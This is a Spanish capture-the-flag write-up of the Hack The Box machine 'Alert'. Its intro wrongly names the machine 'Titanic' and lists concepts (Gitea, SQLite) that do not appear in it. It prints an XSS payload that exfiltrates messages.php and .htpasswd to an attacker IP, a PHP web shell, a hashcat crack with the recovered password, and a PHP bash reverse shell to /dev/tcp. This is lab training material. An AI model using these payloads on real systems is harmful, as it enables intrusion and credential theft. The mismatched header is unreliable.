Alert – Hack The Box [Write Up]

La máquina Titanic es una máquina fácil de HTB.

Resumen de conceptos trabajados:

Extracción y análisis de bases de datos (Gitea y SQLite) Crackeo de hashes con Hashcat Acceso y explotación de cuentas con SSH Búsqueda de archivos y directorios vulnerables

Al final del post hago un resumen de toda la máquina para aclarar conceptos.

Si es tu primera máquina en Hack The Box y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma.

A continuación, para conectarte a la máquina, tendrás que establecer la conexión con la máquina víctima de HTB conectándote a la VPN desde la carpeta donde la tengas.

ENUMERACIÓN -> ESCANEO DE PUERTOS

Para asegurarme de que la máquina víctima está activa y puedo conectarme a ella, lanzo un PING o directamente un nmap, por ejemplo:

ping -c 1 10.10.11.44 -R

nmap -sn 10.10.11.44

OK, sabemos por tanto que tenemos conexión con la máquina víctima de HackTheBox (host is up), y además que estamos ante una máquina Linux por el TTL de 63 (que por lo general las máquinas Linux tienen un TTL de 64 pero por el nodo intermediario al que viaja la petición en el servidor de HTB, se reduce en una unidad).

Una vez comprobado que la máquina está activa, vamos a lanzar un nmap con permisos de root para ver qué puertos están abiertos y exportar el resultado en un fichero llamado «Escaneo» que nos pueda permitir más adelante manipularlo o consultarlo si lo necesitamos:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.44 -oG Escaneo

Completamos el escaneo y se reportan los 2 principales puertos que nos encontramos en los laboratorios de hacking: puerto 22 ssh de autenticación y 80 http web.

ENUMERACIÓN DE SERVICIOS Y VERSIONES PARA ESOS PUERTOS

Sabiendo que estos puertos están abiertos, lo que suelo hacer después es averiguar qué servicios y versiones corren para esos puertos abiertos mediante un nmap que corre un script básico de reconocimiento.

De esta manera podremos tener una primera pista de posibles exploits:

nmap -sCV -p22,80 10.10.11.44

Encontramos para el puerto ssh 22 una versión de OpenSSH 8.2p1 > versión 7.7. vulnerable que ya hemos trabajado en otras máquinas como este writeup.

Esto me da la primera intuición que por aquí no va a estar la intrusión, por lo que pasamos a investigar el puerto 80 web, servido desde Apache.

La versión del Apache 2.4.41 analizada no reporta ningún exploit público, por lo que tendrá que ver con la web en sí y la redirección que no está haciendo hacia http://alert.htb y que tendremos que configurar.

Si incluimos la IP realiza una redirección 301 fallida, por lo que vamos a configurar la IP dentro del /etc/hosts de nuestra máquina host.

De manera que si ahora probamos a incluir http://alert.htb en el navegador, nos devuelve un 200:

Nos muestra una aplicación llamada Markdown Viewer. Esto es una pista importante porque permite subir un fichero por lo que si el procesamiento no es seguro, puede haber una vulnerabilidad de inyección o RCE (Remote Code Execution).

Antes de empezar a probarlo, investigo otras opciones como código fuente, tecnologías de la página o versiones de la web, fuzzing de parámtros en url, etc para intentar recopilar potenciales credenciales que nos puedan dar la opción de poder acceder por ssh…

En el código fuente por ejemplo vemos que los enlaces internos hacia las páginas proceden de una parametrización de url, por lo que se podría probar a hacer fuzzing:

A nivel de tecnologías, es algo simple que no reporta nada interesante…

Pruebo la opción de poder hacer fuzzing sobre la parte de page=FUZZ para descubrir nuevas páginas pero el servidor devuelve un error «Soft 404», que es cuando el servidor responde con un código 200 (como si todo fuera correcto), pero realmente muestra un mensaje de error dentro del contenido HTML.

Por lo que, después de revisar las otras dos páginas de Contact Us, About Us y Donate, y no ver nada, decido por atacar la parte de subida de archivos que nos permite en la página Alert principal.

XSS – SUBIDA DE ARCHIVO MALICIOSO

Subida de archivos: Al ser un Markdown Viewer, es probable que permita subir archivos .md. ¿Qué pasa si subimos un archivo PHP disfrazado de Markdown?

• Ejemplo: shell.php.md que contenga código malicioso PHP.

<?php system($_GET['cmd']); ?>

Al subirlo, en vez de ejecutarse como PHP, muestra el contenido como texto. Por lo que el servidor no está interpretando el archivo como código PHP, sino que lo trata como un archivo de texto plano (Markdown o similar).

¿Qué está pasando entonces?

El servidor detecta .md y lo trata automáticamente como texto. Si el desarrollador ha sido cuidadoso, habrá configurado que todos los archivos subidos se traten como «texto» y nunca como ejecutables.

De tal forma que el visualizador (visualizer.php) es un simple lector de archivos: No ejecuta nada, solo lee y muestra contenido.

Si trato de subir sólo el archivo php malicioso con extensión «.php» me dice que tiene que tener extensión .md

Sin embargo, sabemos que el servidor está almacenando las subidas de archivos bajo /visualizer.php , eso significa que el servidor guarda los archivos subidos, por lo que permite visualizarlos.

Después de varios intentos, decido por investigar subdominios por si se me estuviera escapando algo:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://alert.htb/ -H  "Host:FUZZ.alert.htb" -fc 301

Se detecta el subdominio de statistics, que si lo incluyo en el /etc/hosts y resuelvo, me devuelve un panel de login, pero sin más credenciales no puedo continuar:

En este punto, y sabiendo que el nombre de la máquina es Alert, quizás la explotación pase por un XSS (Cross-Site Scripting) con el típico mensaje de «Alert».

Por tanto vamos a crear un archivo con extensión .md llamado script.php.md .

<script>
fetch("http://alert.htb/messages.php")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.14.226:56545/?file_content=" + encodeURIComponent(data));
  });
</script>

En paralelo, nos creamos un servidor en python3 para ponernos en escucha por el p 56545 y ver qué información se tramita con la petición GET que vamos a hacer subiendo el fichero:

python -m http.server 56545

Línea	¿Qué hace?
fetch("http://alert.htb/messages.php")	Hace una petición GET desde el navegador del admin (o quien visualice el archivo) hacia messages.php, para leer su contenido.
.then(response => response.text())	Cuando obtiene respuesta, convierte el contenido a texto plano (lo que haya dentro de messages.php).
.then(data => {	Cuando el contenido ya está convertido en texto, ejecuta lo siguiente.
fetch("http://10.10.14.226:56545/?file_content=" + encodeURIComponent(data))	Exfiltra (roba) ese contenido hacia tu máquina atacante, donde tienes un servidor HTTP escuchando. El contenido es enviado URL-encodeado.

Subimos el script.php.md , el servidor no da la petición

La página queda en blanco, pero si vamos al código fuente, vemos un link de compartir.

Si es link, lo enviamos a la parte de Contact Us:

Vemos de nuevo en el servidor otra petición URL encodeada

que al decodificarla, vemos que messages.php lista mensajes almacenados en archivos .txt, con fechas y nombres que siguen un patrón.

Por lo que ahora modificamos el script (lo llamo por ejemplo decode.md) e incluimos este comando:

<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.14.226:56545/?file_content=" + encodeURIComponent(data));
  });
</script>

Línea	¿Qué hace?

fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")

Hace que el navegador solicite un archivo concreto del servidor (.htpasswd). Este es un clásico LFI (Local File Inclusion).

.then(response => response.text())

Convierte la respuesta recibida (el contenido del .htpasswd) en texto.

.then(data => {

Con ese texto ya listo, se ejecuta el siguiente bloque.

fetch("http://10.10.14.226:56545/?file_content=" + encodeURIComponent(data))

El navegador envía ese contenido robado a tu máquina (la atacante), que tiene un servidor HTTP escuchando.

Y volvemos a hacer el mismo proceso (seguimos estando en escucha por el puerto 56545) de subida del archivo, y después, coger el link share oculto, y decodificarlo:

FUERZA BRUTA Y HASH CRACKING

Por tanto nos dan un potencial usuario albert y un hash en md5 para statistics.

Necesitamos crackear ese hash, por lo que vamos a usar la herramienta hashcat:

hashcat -a 0 -m 1600 '$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/' /usr/share/wordlists/rockyou.txt

y nos devuelve la contraseña de alberto que es manchesterunited.

ahora que tenemos la contraseña y usuario, vamos a acceder por ssh y acceder a la flag de user.txt:

Con ello, ahora vamos a escalar privilegios de root. Y de primeras me llama la atención ese fichero linpeas.sh

Probaremos a ver con «sudo -l» si albert puede ejecutar algo como sudo y, sobre todo, si hay algún comando que pueda ejecutar sin contraseña.

En una segunda ocasión al volver a conectarme a la máquina para escalar a root, dentro del usuario albert ya no veo el fichero linpeas.sh por lo que no puedo ya probar la intrusión por aquí.

albert no tiene permisos sudo. Esto significa que no puede ejecutar nada como root ni como otro usuario usando sudo.

Vamos hasta la raíz y vemos el listado de archivos, y si ejecutamos el siguiente comando para buscar qué archivos albert puede modificar en todo el sistema:

find / -writable -user albert 2>/dev/null

y encontramos …

Archivo/Directorio	¿Qué es? ¿Por qué es interesante?

/var/crash/_opt_easywall_easywall_web_passwd.py.1000.crash

Un crash dump de un script llamado easywall_web_passwd.py. Puede contener credenciales o datos sensibles.

/opt/website-monitor/monitors/alert.htb

Este archivo puede ser parte de algún sistema de monitorización o script de chequeo. Si albert puede modificarlo y es ejecutado por otro usuario (¿david?), ahí tendríamos un vector claro para ejecutar comandos como ese usuario.

/opt/website-monitor/monitors/test.php

Otro archivo que podríamos modificar. Si es llamado por algún proceso (cron, servicio web…), es otra vía para colar una shell o ejecutar comandos.

Si accedemos a la parte de opt/website-monitor vemos que el directorio de configuración tiene permisos de root y management que tiene permisos de escritura en ese directorio.

USO DE REVERSHELL

En este punto creamos una reverse shell dentro del directorio de «monitors» con tu IP de atacante y por el puerto 4545:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.187/4545 0>&1'");
?>

Nos ponemos en escucha con netcat por el puerto 4545 y ejecutamos la ruta por curl desde consola:

De esta forma ya accedemos como root y podemos ir escalando hasta cd rooty visualizamos la flag de root.

Ha sido de las máquinas de nivel easy que más me ha costado de hackthebox, no terminaba de entender los últimos pasos de crear una revshell y acceder como root.

RESUMEN Primero, escaneamos la máquina con nmap y vimos que tenía un servidor web en el puerto 80. Al entrar, encontramos una opción para subir archivos .md (Markdown). Probamos a subir un archivo malicioso con un script que robaba información del navegador del administrador. Así conseguimos un archivo con el hash de la contraseña del usuario albert. Usamos hashcat con la lista rockyou.txt para descifrar la contraseña, y con ella accedimos por SSH como albert. Dentro de la máquina, buscamos archivos y procesos interesantes y encontramos un servicio interno que mostraba gráficas en un panel web (en el puerto 8080). En ese mismo directorio /opt/website-monitor/. Aprovechamos esto para meter una reverse shell que nos diera acceso como root, ya que ese archivo lo ejecuta un proceso con permisos de root. Finalmente, lanzamos curl para ejecutar el archivo y recibimos la shell como root en nuestro equipo, consiguiendo la flag final.